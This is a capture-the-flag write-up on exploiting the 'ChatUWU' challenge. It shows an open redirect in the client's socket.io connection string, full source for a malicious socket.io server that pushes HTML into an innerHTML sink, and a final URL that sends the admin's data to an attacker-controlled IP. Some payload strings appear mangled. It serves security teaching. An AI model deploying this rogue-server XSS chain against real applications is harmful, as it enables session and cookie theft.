There is a client-server application that we have the source code of,
index.html for the client and index.js for the server. We have to find a way
to get the admin cookie. On the other site "XSS Bot" we can send an URL for
the admin to open, that has to have the prefix http://47.254.28.30:58000/. I
solved this exercise with a combination of [CSRF](https://owasp.org/www-
community/attacks/csrf) (client-side request forgery) and
[XSS](https://owasp.org/www-community/attacks/xss/) (cross-site scripting).

On the client source code (index.html) there is an open redirection flaw when
initializing the socket.io:

```  
<script src="/socket.io/socket.io.js"></script>  
<script>  
function reset() { location.href =
`?nickname=guest${String(Math.random()).substr(-4)}&room=DOMPurify`; }  
let query = new URLSearchParams(location.search), nickname =
query.get('nickname'), room = query.get('room');  
if (!nickname || !room) { reset(); }  
for (let k of query.keys()) { if (!['nickname', 'room'].includes(k)) {
reset(); } }  
document.title += ' - ' + room;  
let socket = io(`/${location.search}`), [...]  
```

This call to io() uses the location.search where we can inject a malicious
domain like the following:  
http://47.254.28.30:58000/?room=DOMPurify&[email protected]

This allows us to make the client use a malicious socket.io server that we
control instead of the expected server.

Malicious server:  
```  
const app = require('express')();  
const http = require('http').Server(app);  
const cors = require('cors')  
const hostname = '0.0.0.0';  
const port = 9000;  
const io = require('socket.io')(http, {  
cors: {  
origin: "*",  
methods: ["GET", "POST"],  
"preflightContinue": false  
}  
});

const corsOptions = {  
origin: false,  
optionsSuccessStatus: 200  
}

app.get('/', cors(corsOptions), (req, res) => {  
console.log(req.query)  
});

io.on('connection', (socket) => {  
console.log("hey from: ", socket.handshake.address)  
let {room} = socket.handshake.query;  
socket.join(room);  
io.to(room).emit('msg', {  
from: 'system',  
text: '<script>alert(1)</script>![](x)',  
isHtml: true  
});  
});

http.listen(port, hostname, () => {  
console.log(`ChatUWU malicious server running at
http://${hostname}:${port}/`);  
});  
```

To run the malicious server I opened my local port 9000 to the internet by
creating a firewall rule to allow inbound to 9000 and creating a rule on my
router to map the port 9000 to my laptop:9000. Then run the following command:

```  
node .\indexFake.js  
ChatUWU malicious server running at http://0.0.0.0:9000/  
```

Now the client will connect to the malicious server and the server will send
the following message:  
```  
io.to(room).emit('msg', {  
from: 'system',  
text: '![](x)',  
isHtml: true  
});  
```

On the client side (index.html) the following code will add this to the DOM
and run the XSS payload:  
```  
socket.on('msg', function (msg) {  
let item = document.createElement('li'),  
msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`;  
room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext :
item.textContent = msgtext;  
messages.appendChild(item);  
});  
```

Final payload to deliver to the "XSS Bot":  
`http://47.254.28.30:58000/?room=DOMPurify&[email protected]:9000`

Malicious server running at 85.244.211.240:9000 output:  
```  
hey from: 47.254.28.30  
{ flag: 'rwctf{1e542e65e8240f9d60ab41862778a1b408d97ac2}' }  
```

For the complete context and walkthrough watch the video.

Original writeup (https://youtu.be/B1hlxOX29HM).